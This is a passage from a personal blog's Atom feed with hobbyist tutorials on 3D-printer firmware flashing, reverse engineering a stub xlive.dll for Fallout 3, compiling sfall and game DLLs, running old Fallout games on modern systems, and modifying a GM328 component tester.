go to <code>config/examples/Creality/Ender-3 V2/LCD Files</code> and
copy DWIN_SET folder to an empty FAT32 formatted microSD card.
Disconnect and remove the LCD assembly from the printer. Unscrew all the
screws on the back of the LCD and remove the plastic cover. Insert the
microSD into the slot on the PCB. Connect the LCD cable and power-on the
printer. The LCD should turn red/orange, this means it updated
successfully. Remove the microSD, assemble the LCD and power-off the
printer.</p>
<h3 id="printer">Printer</h3>
<p>Now in the Marlin folder go to
<code>.pio/build/STM32F103RET6_crealit</code>and copy the
<strong>bin</strong> file <strong>NOT elf file</strong> to the microSD
and insert it into the slot on the printer. Now power-on the printer and
it should update.</p>
<p><strong>If you’re going to use the SD card for printing, don’t forget
to delete the bin file on the SD card, so the printer doesn’t update
every time you turn it on, as it wears down the flash memory on the
board.</strong></p>
<h2 id="conclusion">Conclusion</h2>
<p>Now you have shiny, brand new <del>hopefully not broken</del>
firmware on your 3d-printer. Now you can print Benchy and compare the
results to the old firmware.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/reversing-fake-xlive.html#2022-01-25T00:00:00Z</id>
		<updated>2022-01-25T00:00:00Z</updated>
		<title>Reverse
engineering fake xlive.dll for Fallout 3</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/reversing-fake-xlive.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2022-01-25"></time>
<address>TheMaxus</address>
<h1 id="reverse-engineering-fake-xlive.dll-for-fallout-3">Reverse
engineering fake xlive.dll for Fallout 3</h1>
<p>While modding Fallout 3 and installing GFWL remover I’ve become
curious on how GFWL remover actually works so naturally I’ve decided to
fire up Ghidra and try to reverse engineer it and in this article I’m
going to walk you through the process. I would also like credit the
author of this DLL <a href="http://timeslip.users.sourceforge.net/">timeslip</a> (<a href="http://timeslip.chorrol.com/index.html">see this also</a>), who
has many other projects related to Creation Engine games as well as
other games.</p>
<p>Tools used:</p>
<ul>
<li><a href="https://ghidra-sre.org/">Ghidra</a></li>
<li><a href="http://www.dependencywalker.com/">Dependency
Walker</a></li>
<li>Visual Studio 2022</li>
</ul>
<h2 id="examining-the-file">Examining the file</h2>
<p>From error messages like “Ordinal 53 not found” when GFWL is missing
or simply by using Dependency Walker we know that Fallout 3 imports
functions by ordinal instead of using function names. Using Dependency
Walker we can also find out what exactly does Fallout 3 import from this
library.</p>
<p>After importing the DLL in Ghidra and examining the code we find out
that the DLL contains basically empty functions with constant return
values. In the assembly window Ghidra tells us that functions use
<em>__stdcall</em> calling convention. In the <a href="https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-160">Microsoft
Developer Documentation</a> we can see that it means that parameters
passed by pushing them onto the stack and the callee function cleans up
the stack after execution.</p>
<h3 id="how-__stdcall-works-on-a-lower-level">How __stdcall works on a
lower level</h3>
<p>So we figured out that the program uses <em>__stdcall</em> calling
convention which means that the caller function passes the arguments by
pushing n number of bytes to the stack and the callee function cleans up
the stack by calling the <code>ret</code> instruction. This instruction
does two things. Firstly if function has arguments passed to it, the
instruction pops n number of bytes from the stack, then it returns from
subroutine and the program continues execution.</p>
<p>Also this might be considered a corner case, but even when normally
reverse engineering programs Ghidra oftentimes doesn’t show function
arguments correctly. At the first examination I missed this and spent
way too much time debugging why the game was crashing with my version of
GFWL remover.</p>
<pre><code>                     **************************************************************
                     *                                                            *
                     *  FUNCTION                                                  *
                     **************************************************************
                     undefined4 __stdcall f5256(void)
     undefined4        EAX:4          &lt;RETURN&gt;
                     0x1060  5256  f5256
                     Ordinal_5256                                    XREF[2]:     Entry Point(*), 1000681c(*)  
                     f5256
10001060 83 c8 ff        OR         EAX,0xffffffff
10001063 c2 14 00        RET        0x14</code></pre>
<p>In this example, where the arguments would normally be shown, Ghidra
only shows that the function has a 4-byte return value, but if we
examine the function more closely, we can see that the <code>ret</code>
instruction has an argument, a hex value of 0x14, which means that it
pops 20 bytes off the stack when returning, which means that function
has arguments passed to it and we need to take this into a consideration
when writing the functions.</p>
<h2 id="writing-the-code">Writing the code</h2>
<p>The first thing we need is an entry point. We can look up a standard
entry function for a DLL in <a href="https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-entry-point-function">Microsoft
Developer Documentation</a>.</p>
<p>So here’s our entry function copied straight from Microsoft
documentation:</p>
<pre><code>BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}</code></pre>
<p>Because we’re going to use Windows specific types we need to include
<code>windows.h</code> in the beginning of the file.</p>
<p>Next we’ll need to write the functions.</p>
<p>Because we don’t use any of the arguments that are passed to the
functions, we don’t care about names and types they have as long as
arguments occupy exactly the same amount of memory on stack. Also
because we don’t know how return values affect execution of the program,
we make sure that the functions return exactly the same value as in the
original and return type has the same size as the original function.</p>
<p>Here’s how aforementioned function looks like when written in C:</p>
<pre><code>DWORD __stdcall f5256(DWORDLONG arg, DWORDLONG arg1, DWORD arg2) {
    return -1;
}</code></pre>
<p><code>DWORDLONG</code> has a size of 8 bytes and <code>DWORD</code> a
size of 4 bytes, which means that our function has a return size of 4
and when summed together the arguments take 20 bytes of space which is
0x14 in hex, which is the argument of the <code>ret</code> instruction
that we’ve seen previously. So our function should be nearly identical
to the function we’ve seen in the decompilation. The only thing that
should be different is you might see some new intructions added:</p>
<pre><code>        10001020 55              PUSH       EBP
        10001021 8b ec           MOV        EBP,ESP
        10001023 83 c8 ff        OR         EAX,0xffffffff
        10001026 5d              POP        EBP
        10001027 c2 14 00        RET        0x14</code></pre>
<p>If you’re intrested in what those instructions do, you can read more
in this <a href="https://people.cs.rutgers.edu/~pxk/419/notes/frames.html">article</a>.</p>
<p>After declaring all the functions we need to create a definitions
file where we define ordinal for each function. Syntax for the file can
also be found in <a href="https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160">Microsoft
Developer Documentation</a>.</p>
<p>Here’s an example of a definitions file:</p>
<pre><code>LIBRARY XLIVE
EXPORTS
    f651  @651  NONAME
    f652  @652  NONAME
    f5361 @5361 NONAME
    f5360 @5360 NONAME
    f5356 @5356 NONAME
    f5355 @5355 NONAME
    f5310 @5310 NONAME
    f5297 @5297 NONAME
    f5292 @5292 NONAME
    f5278 @5278 NONAME</code></pre>
<p>Here f652 is the function name, <span class="citation">@652</span> is the ordinal and NONAME means that you
export functions using only ordinal and not function name. This helps
reduce the size of the export table.</p>
<h2 id="conclusion">Conclusion</h2>
<p>After writing all the functions and writing the definitions file, or
just using a Python script to do both, we can finally build the project,
move the file to the game folder and voilà! The game starts! Of course
for some people this might be useless now that Bethesda has officially
removed GFWL from the game, but it still was a fun learning experience!
Also because loaded DLL:s have access to the process memory, using this
DLL you can modify any part of the game’s memory, but that’s beyond the
scope of this article.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/compiling-sfall.html#2021-11-01T00:00:00Z</id>
		<updated>2021-11-01T00:00:00Z</updated>
		<title>Compiling sfall</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/compiling-sfall.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2021-11-01"></time>
<address>TheMaxus</address>
<h1 id="compiling-sfall">Compiling sfall</h1>
<p>Programs required:</p>
<ul>
<li><a href="https://visualstudio.microsoft.com/vs/">Visual Studio
2019</a></li>
<li><a href="https://www.microsoft.com/en-us/download/details.aspx?id=6812">DirectX
SDK</a>
<ul>
<li>If you get error S1023 when installing the SDK, uninstall Microsoft
C++ Redistributable 2010 and then try to install DirectX SDK</li>
</ul></li>
</ul>
<p>First you need to download and unzip the source code. Then go to
sfall directory and open <strong>ddraw.vcxproj</strong> with Visual
Studio. Because the project is made for MSVC 2015 and 2017 you probably
need to retarget the project. To do this first select
<strong>“Release”</strong> build type and not “Debug” then right-click
on the project in solution explorer and click “Retarget project” then
click “Ok”.</p>
<p>Now we need to fix a few things for it to compile in Visual Studio
2019. First right-click on <strong>ddraw</strong> in solution explorer
and go to <strong>Properties</strong>. The go co <em>C/C++ &gt;
General</em> and enable <strong>Multi-processor Compilation</strong>,
this will make the compilation process a lot faster. Then in the same
Properties window go to <em>Linker &gt; Input</em> and in
<strong>Additional Dependencies</strong> look for
<strong>dinput.lib</strong> and change it to
<strong>dinput8.lib</strong>. Then go to <em>Build Events &gt;
Post-build Event</em> and delete the value inside <strong>Command
Line</strong>, otherwise the build will result in an error for some
reason. Now close the <strong>Properties</strong> window.</p>
<p><img src="/pics/fallout-on-a-modern-system/dinput.webp" alt="dinput8.dll"/> <img src="/pics/fallout-on-a-modern-system/post-build-command.webp" alt="Post-build Command removed"/></p>
<p>Now to fix the last compilation error include “intrin.h” header file
in WindowRender.cpp which is located under <em>Modules/SubModules</em>
in the solution explorer. WindowRender.cpp uses assembly instructions
and intrinsic functions to optimize rendering and inclusion of
“intrin.h” is required to use those intrinsic functions on MSVC2019.</p>
<p>To include the header go to the beginning of the file and look for
other #include statements and type
<code>#include &lt;intrin.h&gt;</code> on a new line. The beginning of a
file should now look something like this:</p>
<pre><code>#include &quot;..\..\main.h&quot;
#include &quot;..\..\FalloutEngine\Fallout2.h&quot;

#include &quot;..\..\Game\GUI\render.h&quot;

#include &quot;WindowRender.h&quot;
#include &lt;intrin.h&gt;</code></pre>
<p>Now click “Build” on menu bar and click “Build ddraw” or just press
Ctrl+B on your keyboard. The project should now compile. Now go to
<em>Release</em> folder inside the <em>sfall</em> folder and copy
<strong>ddraw.dll</strong> to the game folder. Also copy
<strong>ddraw.ini</strong> and <strong>ddraw.dat</strong> form
<em>artifacts</em> folder to the game folder.</p>
<p>Now we have the newest version of sfall. After modifying the game I
would suggest going through ddraw.ini and tweaking it to your
liking.</p>
<p>If the game crashes after intro cutscene try installing pre-built
binaries from SourceForge or installing a different version.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/fallout-on-a-modern-system.html#2021-11-01T00:00:00Z</id>
		<updated>2021-11-01T00:00:00Z</updated>
		<title>Playing
Fallout 1 and 2 on a modern system in 2021</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/fallout-on-a-modern-system.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2021-11-01"></time>
<address>TheMaxus</address>
<h1 id="playing-fallout-1-and-2-on-a-modern-system-in-2021">Playing
Fallout 1 and 2 on a modern system in 2021</h1>
<p>In this guide I’m going to show what modifications I personally like
to use to play Fallout 1 and 2 on a modern system. This guide is mainly
for Windows 10 but the game should work fine under Proton/WINE.</p>
<h2 id="games">Games</h2>
<p>I personally recommend you to buy the games from GOG as they are
DRM-free, come with most patches already installed and are playable
right from the box. This guide also works for Steam and maybe even
retail versions of both games.</p>
<p>After downloading and installing both games first we’re going to
focus on Fallout 2, as we’re going to also use it later to play the
original Fallout using Fallout et tu mod.</p>
<h2 id="hi-rez-patch">Hi-Rez patch</h2>
<p>Hi-Rez patch is mandatory to get the game playable on modern systems
and it comes preinstalled on Steam and GOG versions so unless you want
to reinstall it you can skip this step.</p>
<p>To install it you first need to download it from this <a href="https://www.nma-fallout.com/threads/hi-res-patches-for-fallout1-2-the-bis-mapper.181743/">link</a>.</p>
<p>Next unzip the archive and either run
<strong>Fallout2_High_Resolution_Patch_4.1.8.exe</strong> or open it
with 7-Zip and extract the contents to the game folder.</p>
<p>After extracting the files run <strong>f2_res_Config.exe</strong> and
in the newly opened window click “Enable”. This will patch the game exe
to load f2_res.dll on startup. Then you can configure the resolution and
other settings as you like.</p>
<h2 id="sfall">Sfall</h2>
<p>Sfall is a project which fixes many bugs in the original engine and
adds many improvements. It also makes the game more configurable. Steam
and GOG versions both come with sfall installed but it’s very
outdated.</p>
<p>You can download the source code from project’s <a href="https://github.com/phobos2077/sfall">GitHub</a> and pre-built
binaries from <a href="https://sourceforge.net/projects/sfall/files/sfall/">SourceForge</a>.
The easiest way is to download ready to use binaries, but I personally
like to compile it myself. To install sfall, download the binaries from
SourceForge and extract <strong>ddraw.dll</strong>,
<strong>ddraw.ini</strong> and <strong>ddraw.dat</strong> to the game
folder.</p>
<p>If you want to compile sfall yourself you can follow my <a href="/articles/compiling-sfall.html">guide</a>.</p>
<h2 id="unofficial-fallout-2-patch">Unofficial Fallout 2 patch</h2>
<p>Download the <strong>Manual</strong> version of the patch from this
<a href="http://www.killap.net/fallout2/web/Downloads.html">link</a>.</p>
<p>The installation is fairly easy. First you’ll need to copy the
<strong>data</strong> folder to the game folder. Next step would be
installing sfall but we already did that so we’re going to skip this
step. Next copy the contents of the <strong>batch_work</strong> folder
to the game folder and run <strong>master_dat_fix_up.exe</strong>. The
console window will flash on your screen for a few seconds. Lastly you
need to delete <strong>patch000.dat</strong> from the game folder.</p>
<p>You can test if the patch is installed correctly by starting a new
game. When you look at the rock below Klint the game should tell you the
version of the patch.</p>
<figure>
<img src="/pics/fallout-on-a-modern-system/klint.webp" alt="Klint and the version rock"/>
<figcaption>Klint and the version rock</figcaption>
</figure>
<figure>
<img src="/pics/fallout-on-a-modern-system/patchversion.webp" alt="Unofficial patch version"/>
<figcaption>Unofficial patch version</figcaption>
</figure>
<p>Fallout 2 modification is now complete and you can start playing
right off.</p>
<h2 id="dxvk">DXVK</h2>
<p>DXVK is a project which aims to help running Windows games on Linux
under WINE by translating DirectX API calls to Vulkan. Even though it’s
meant more for Linux and WINE usage, it also works on Windows and in
some cases can improve FPS and reduce GPU usage.</p>
<p>Installing DXVK is really easy. Download the latest version from <a href="https://github.com/doitsujin/dxvk/releases">GitHub</a>. Open the
archive with 7-Zip and copy <strong>d3d9.dll</strong> to the game
folder.</p>
<p><em>Note: Running DXVK on Windows is considered experimental and may
cause some crashes and graphical glitches</em></p>
<h2 id="fallout-1">Fallout 1</h2>
<p>To play Fallout 1 in Fallout 2 game engine we’re going to use
<em>Fallout et tu</em> project. First of all you need to download the
mod from the project’s <a href="https://github.com/rotators/Fo1in2/releases">GitHub</a>.</p>
<p>To install it unpack Fallout et tu to Fallout 2 folder and go to that
folder. Next run <strong>undat.exe</strong> and select
<strong>MASTER.DAT</strong> from Fallout 1 folder and click
“Extract”.</p>
<p>Now you can play Fallout 1 using Fallout 2 engine. I would also
suggest replacing the ddraw.dll that comes with Fallout et tu with a
newer one and also installing DXVK.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Now you have Fallout 2 which supports higher resolution and runs
better on modern systems. Also you have Fallout 1 with all the quality
of life improvements from Fallout 2 engine. Now you can enjoy roaming
radioactive wasteland a bit more conveniently!</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/game-modding.html#2021-07-15T00:00:00Z</id>
		<updated>2021-07-15T00:00:00Z</updated>
		<title>Compiling
DLLs for video games using common household tools</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/game-modding.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2021-07-15"></time>
<address>TheMaxus</address>
<h1 id="compiling-dlls-for-video-games-using-common-household-tools">Compiling
DLLs for video games using common household tools</h1>
<p>I’ve decided to mod my Fallout New Vegas and Fallout 3 installations
and found some mods that replace Vorbis DLLs and restore surround sound.
These projects are open-source and just because I can I’ve decided to
compile the DLLs myself and while doing so I’ve also decided to write a
guide. <em>Note: this guide only explains how to compile programs
written in C++ and C. Also while the title of this page says DLLs, this
tutorial can be applied to almost any other program written in C or
C++.</em></p>
<h2 id="compilation">Compilation</h2>
<p>Why even go through all this if you can get pre-built binaries? Well
sometimes the provided binaries are outdated and compiling them from
source is the only way to get the latest version, or if the latest
version of some library doesn’t work with the game while previous does
and developer does not provide binaries for older versions, compiling
the source is often the only way to get the needed version. Also before
compilation you can often configure the program to suit your particular
system better.</p>
<h3 id="programs-we-are-going-to-need">Programs we are going to
need</h3>
<ul>
<li><a href="https://visualstudio.microsoft.com/">Microsoft Visual
Studio</a>
<ul>
<li>C++ compiler for Visual Studio</li>
</ul></li>
<li><a href="https://cmake.org/">CMake</a> (Some programs already have
.sln file for Visual Studio, but most often programs require CMake)</li>
</ul>
<h3 id="other-useful-tools-and-utilities-that-i-recommend">Other useful
tools and utilities that I recommend</h3>
<ul>
<li><a href="https://ntcore.com/?page_id=388">CFF Explorer</a> (Makes
applying the 4GB flag easier and shows some additional information about
DLLs)</li>
<li><a href="https://processhacker.sourceforge.io/">Process Hacker</a>
(Has lots of useful features. For example it shows which DLLs are loaded
by a program)</li>
<li>If you’re still using notepad to edit config files, I would highly
suggest getting <a href="https://notepad-plus-plus.org/">Notepad++</a>,
<del>Atom</del> or <a href="https://vscodium.com/">VSCodium</a>.</li>
</ul>
<h3 id="configuring-the-project">Configuring the project</h3>
<h4 id="cmake">Cmake</h4>
<p>First of all you need to download the source code and unpack it
somewhere.</p>
<p>Lots of open source projects use a build system called CMake, it
makes it much easier to build the same program on different platforms,
but some programs just come with Visual Studio project file. If that’s
the case you can skip this step.</p>
<p>Then you need to open CMake and up in the top there are two things
that need to be set: source and build directories. Source directory is
obviously the directory with the source code, and build directory is
where you want to build it. Usually there is already a directory called
“build” in the source directory, and if there isn’t, you can always make
one.</p>
<p>After choosing the directories click “Configure”. In the newly opened
window you need to choose the generator (Visual Studio 16 2019 in my
case). Below it you have to choose the platform. This will depend on the
game, if you know that the game is 64-bit you should choose x64. In any
other case you should choose Win32. If you’re unsure you can always
check the game executable with CFF Explorer or check the Task
Manager/Process Hacker when the game is running.</p>
<h4 id="visual-studio">Visual Studio</h4>
<p>After configuring the project click “Generate” after which click
“Open Project”. Now you will be presented with the Visual Studio window.
In the solution explorer on the right click “ALL_BUILD” or just the
project name, either should work, but with only the project name it
might compile a bit faster. In the upper part of the window look for the
word “Debug” and next to it is going to be an architecture (x64 or
Win32), click on “Debug” and change it to “Release”.</p>
<figure>
<img src="/pics/game-modding/selector.webp" alt="Debug/Release selector"/>
<figcaption>Debug/Release selector</figcaption>
</figure>
<p>Now we can configure some project properties.</p>
<p>In solution explorer right-click on the project and click
“Properties”.</p>
<h3 id="multicore-compilation">Multicore compilation</h3>
<p>Multicore compilation is going to speed up the compilation quite a
lot on large projects. From the properties window on the left expand
“C/C++” and click “General”. From there enable “Multi-processor
compilation”. This might not work for some projects, but for the most
part it works flawlessly.</p>
<h3 id="optimization">Optimization</h3>
<p>This will make the code run a bit faster. Go to C/C++ -&gt;
Optimization and enable “Whole Program Optimization”. Also in
“Optimization” select “Maximum Optimization (Favor Speed) (/O2)” Then go
to Linker -&gt; Optimization, click “Link Time Code Generation” and
select “Use Link Time Code Generation (/LTCG)”.</p>
<h3 id="enabling-enhanced-instruction-set">Enabling Enhanced Instruction
Set</h3>
<p>Enhanced instruction set flag says the compiler to use advanced
floating point and vector instructions. This might make the code faster
in some cases. Under “C/C++” go to “Code generation” and in “Enable
Enhanced Instruction Set” select and choose the latest instruction set
that your CPU supports. Most likely it’s going to be AVX2, if your CPU
is older it’s going to be SSE2. If something goes wrong, you should try
disabling this setting.</p>
<figure>
<img src="/pics/game-modding/code-generation-menu.webp" alt="Code generation menu"/>
<figcaption>Code generation menu</figcaption>
</figure>
<h3 id="building-the-project">Building the project</h3>
<p>Now in the upper menu click “Build” and from the menu click “Build
&lt;project name&gt;” it should now compile.</p>
<p>In the build log you should see some clue where to look for the
binaries. Navigate to that directory and copy the .dll file to the game
directory. Sometimes libraries included with game are going to have
different name so you will need to rename your files accordingly. In
case anything goes wrong be sure to back up the original game files.</p>
<p>Build log with location:</p>
<pre><code>2&gt;Generating code
2&gt;Finished generating code
2&gt;someproject.vcxproj -&gt; C:\some\folders\Release\library.dll
2&gt;Done building project &quot;someproject.vcxproj&quot;.
========== Rebuild All: 2 succeeded, 0 failed, 0 skipped ==========</code></pre>
<h2 id="notes-for-specific-libraries">Notes for specific libraries</h2>
<p>When compiling Vorbis libraries you first need to compile the Ogg
library as a static library (BUID_SHARED_LIBS unchecked in CMake), then
when configuring the Vorbis library in cmake, check “BUID_SHARED_LIBS”
and specify the path to the “include” folder in the Ogg folder and to
the static library that you previously built.</p>
<p><a href="https://github.com/phobos2077/sfall">sfall</a> (Engine
improvements for Fallout 2) and many other libraries that use DirectX 9
are going to require <a href="https://www.microsoft.com/en-us/download/details.aspx?id=6812">DirectX
SDK</a>. If you don’t have it, you’re going to get a compilation error
that says something like “d3d9.h is missing”. If you encounter error
S1023 when installing the SDK, uninstall Microsoft C++ Redistributable
2010 and then try to install DirectX SDK. Also when compiling the code
you may encounter an error that dinput.lib is missing. In that case go
to project properties -&gt; Linker -&gt; Input and there in “Additional
Dependencies” rename dinput.lib to dinput8.lib. You also might need to
retarget the project if it was made with older version of Visual Studio.
(It’s safer to use the same version as developers of the project but you
can always try to use a newer version.) For that you need to right-click
the project in solution explorer and click “Retarget projects”.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Now you should have newer versions of libraries which usually have
many bugs and vulnerabilities fixed. Replacing libraries in games
probably isn’t a thing you’re going to do very often, but otherwise
compiling programs from source is a very useful skill to have. Should
you encounter any errors, search engine of your choice is your best
friend.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/about-me.html#2021-05-07T00:00:00Z</id>
		<updated>2021-05-07T00:00:00Z</updated>
		<title>Purely Symbolic</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="about-me.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2021-05-07"></time>
<address>TheMaxus</address>
<h1 id="purely-symbolic">Purely Symbolic</h1>
<h2 id="about-me">About me</h2>
<p>I’m a software engineering student. I do all kinds of things with
computers. Mainly I’m interested in electronics and electronics design,
low-level stuff, reverse-engineering, sysadmin and DevOps stuff,
programming and ethical hacking. On this website I’m going to post about
my projects and write tutorials.</p>
<p>Languages I use:</p>
<ul>
<li>C, C++ &amp; C#</li>
<li>Java</li>
<li>Rust</li>
<li>Go</li>
<li>Haskell</li>
<li>Racket</li>
<li>Coq</li>
<li>Python</li>
<li>HTML &amp; CSS</li>
</ul>
<h2 id="about-this-website">About this website</h2>
<p>I made this website, because from time to time I like doing some
technical projects, and I also enjoy reading technical blogs, and I also
like writing, so naturally I wanted to start a blog. Of course I could
have used GitHub pages or something similar, but where’s fun in that?
Instead I’ve decided to spin up an OpenBSD cloud server and host my blog
on it.</p>
<h2 id="articles">Articles</h2>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/ay-at-clone.html#2021-05-07T00:00:00Z</id>
		<updated>2021-05-07T00:00:00Z</updated>
		<title>Modifying the AY-AT
(GM328) component tester</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/ay-at-clone.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2021-05-07"></time>
<address>TheMaxus</address>
<h1 id="modifying-the-ay-at-gm328-component-tester">Modifying the AY-AT
(GM328) component tester</h1>
<p>About a month ago I bought a GM328 component tester from China. While
waiting for it to arrive I started looking into ways to modify it. A few
years ago I saw a video about modifying the Fish8840 component tester
firmware and started wondering if I could do the same thing to my GM328.
Soon enough I found an <a href="https://www.eevblog.com/forum/testgear/$20-lcr-esr-transistor-checker-project/msg1286025/#msg1286025">EEVBlog
thread</a> about this and a <a href="https://github.com/blurpy/transistor-tester">GitHub page</a> on
software and hardware modifications. Based on these two sources and my
own experience I’ve decided to write about my own journey on assembling
and modifying it.</p>
<h2 id="assembly-and-troubleshooting">Assembly and troubleshooting</h2>
<p>The first step was assembly. The assembly of this particular kit is
quite easy as all the parts are clearly labeled on the PCB. As a
precaution I would take special care not to overheat the semiconductor
components (BJT-transistors, voltage regulator and a voltage reference).
Also be careful not to mess up the polarity of an LED and the battery
connector. And if you’re planning to replace the crystall, I would
suggest not to insert the crystal fully. This way it will be easier to
desolder in future. (When you put the upgraded crystal in place you
should insert it fully through the PCB.)</p>
<p>After the assembly was done, I started playing with it and measuring
different components that I have laying around. Then I tried powering it
form an old modem power brick that outputs 12V. As soon as I connected
the power brick, the device started acting weird. It started showing
that the battery is low even though it was being powered from a wall
adapter. I disconnected the adapter and powered it on again from a 9V
battery. It was still acting weird so I started measuring voltages on
the board. Soon I found out the reason it was acting that way was that
the microcontroller was receiving +7.8V when it should receive only +5V.
Also I noticed that the part of the board with power regulator was quite
warm to touch. So it was clear the culprit was the voltage regulator.
After some research I found out that failing voltage regulator wasn’t so
uncommon on this board.</p>
<h2 id="hardware-modifications">Hardware modifications</h2>
<p>At first I wasn’t going to modify the hardware, but after my power
regulator failed, I’ve decided to modify the hardware as well. The parts
I ordered:</p>
<ul>
<li>Spare Atmega 328p (In case I brick the original
microcontroller)</li>
<li>16 or 20 MHz crystal oscillator (This should improve the capacitance
test accuracy)</li>
<li>MCP1702 voltage regulator (Has much higher precision and higher
power rating)</li>
<li>Ideally you should also order high precision 680 and 470k resistors
but I was too lazy to do that</li>
</ul>
<p>The modification itself is quite simple. The hardest part is
desoldering and reinserting the voltage regulator as it has three legs.
You should replace the old HT7550 regulator with a new MCP1702. Replace
the oscillator and replace the resistors. When replacing the resistors
double check that you’re putting them in the right place. Also take
extra care not to overheat the new voltage regulator when soldering.</p>
<p>After installing the new voltage regulator, it’s recommended to
remove the TL431A voltage reference, because voltage reference should
only be used if it’s at least 10x more precise than the voltage
regulator, which TL431 is not. After removing the voltage reference you
should also remove the 2K2 resistor (If you’re planning on using the
k-firmware, you should replace it with a 47k resistor) which is located
under the ZIF socket between the other resistor and a big SMD part. The
hardware modification is now complete.</p>
<h2 id="firmware-modification">Firmware modification</h2>
<h3 id="preparation">Preparation</h3>
<p>First of all we are going to need the basic AVR development
tools:</p>
<ul>
<li>git</li>
<li>gcc</li>
<li>avr-gcc</li>
<li>avr-libc</li>
<li>make</li>
</ul>
<p>Also we’re going to need some program to upload the firmware to the
microcontroller. Use <code>avrdude</code> for almost any programmer that
connects to the ISP header and use <code>minipro</code> if you use the
MiniPro programmer.</p>
<p>(These are packages for Arch Linux, you will need to find out the
package names for your Linux distribution)</p>
<p>Now we need to download the source code of the firmware:</p>
<pre><code>git clone https://github.com/Mikrocontroller-net/transistortester.git</code></pre>
<p>After cloning the repo navigate to Software/Markus and unpack the
archive with the latest version.</p>
<p>The command for that is:</p>
<pre><code>tar -xvzf &lt;archive_name&gt;.tgz</code></pre>
<p>Now we need to configure the firmware.</p>
<h3 id="configuration">Configuration</h3>
<p>First of all you’ll need to make the firmware compatible with your
device. <strong>Information on that is in the “Clones” file in the
folder with the firmware</strong></p>
<p>Then you can configure the firmware to suit your needs.</p>
<p>You also need to make the following changes if you’ve modified the
hardware according to this guide:</p>
<h4 id="config.h">config.h</h4>
<ul>
<li>Comment out the <code>#define HW_REF25</code> if you removed the
voltage reference or just don’t want to use it</li>
</ul>
<h4 id="makefile">Makefile</h4>
<ul>
<li>Change <code>FREQ</code> to 16 or 20 depending on what crystal
you’ve installed</li>
</ul>
<p>If you are using the usbtinyisp programmer you should change these
lines:</p>
<pre><code>PROGRAMMER = usbtiny
PORT = usb
OPTIONS = -B 5.0</code></pre>
<h4 id="config_328.h">config_328.h</h4>
<p>In this file you should look for a line
<code>#define LCD_ST7735</code> on the line above it is going to be a
line <code>#if 0</code> you should change it to 1 to make this code
block active.</p>
<h3 id="compilation-and-programming">Compilation and programming</h3>
<p>Now that we’re configured everything it’s time to compile the source.
If you have all the dependencies installed, the process is fairly easy.
Just run the command: <code>make</code> To speed up the compilation you
can type: <code>make -j&lt;core_count&gt;</code> (Works only with the
m-firmware)</p>
<p>After the compilation make sure that your firmware fits into memory.
You can see how much memory your firmware takes after the compilation.
Here’s for example my output:</p>
<pre><code>AVR Memory Usage ---------------- Device: atmega328

Program:   32678 bytes (99.7% Full) (.text + .data + .bootloader)

Data:        245 bytes (12.0% Full) (.data + .bss + .noinit)

EEPROM:      741 bytes (72.4% Full) (.eeprom)</code></pre>
<p>You can also produce the same output using the following command</p>
<pre><code>avr-size -C ComponentTester --mcu=atmega328p</code></pre>
<p>After compiling the source you will need to program it into the
microcontroller. I used my Arduino Uno’s ISP header to program it.
Simply remove the microcontroller from the socket with a small flathead
screwdriver and insert the microcontroller to be programmed. (Be careful
not to bend any pins and make sure that the notch on the IC is in the
same place as the notch on the socket or PCB.) Then connect your
programmer to the ISP header on the Arduino.</p>
<p>Then you can just type: <code>sudo make upload</code> and
<code>sudo make fuses</code></p>
<p>And if everything is done correctly you should now have a
microcontroller with updated firmware in it. Insert it back into the
transistor tester and test the device. You should also calibrate it by
shorting all three connectors in the ZIF-socket.</p>
</article></div>
		</content>
	</entry>

</feed>

